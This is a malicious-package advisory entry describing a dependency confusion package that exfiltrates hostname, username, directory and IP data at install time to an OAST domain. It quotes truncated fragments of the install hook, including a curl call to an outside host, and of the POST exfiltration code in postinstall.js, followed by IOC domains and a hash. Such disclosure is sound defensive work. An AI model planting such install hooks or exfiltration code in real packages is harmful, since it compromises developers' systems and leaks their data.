GCVE-110-OSM-2026-1825

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, install-time execution. Payload: postinstall.js Key findings: - System Information Exfiltration in postinstall.js: "__dirname,t:new Date().toISOString()}); const req = https.request" - OAST/Interactsh Exfiltration in postinstall.js: "oast.site" - Install Hook Executes Local JS File in package.json: ""preinstall": "node postinstall.js || curl -sk 'https://p1s.uk/dep-confusion/pay..." - HTTP Data Exfiltration in postinstall.js: "os.hostname(),u:os.userInfo().username,d:__dirname,t:new Date().toISOString()});..." - POST Method Defined for Exfiltration in postinstall.js: "method:"POST",headers:{"Content-Type":"application/json","Content-Length":data.l..." IOCs: - domains: p1s.uk, d7d01vqqlg7v2vtidk30gew9w7ebqdsbc.oast.site - payloadFileHash: 60bfff3c32a4ce4fd66cfd7c85aa58d2c3b58cf9e6b0a8a3ef1e13c488065b87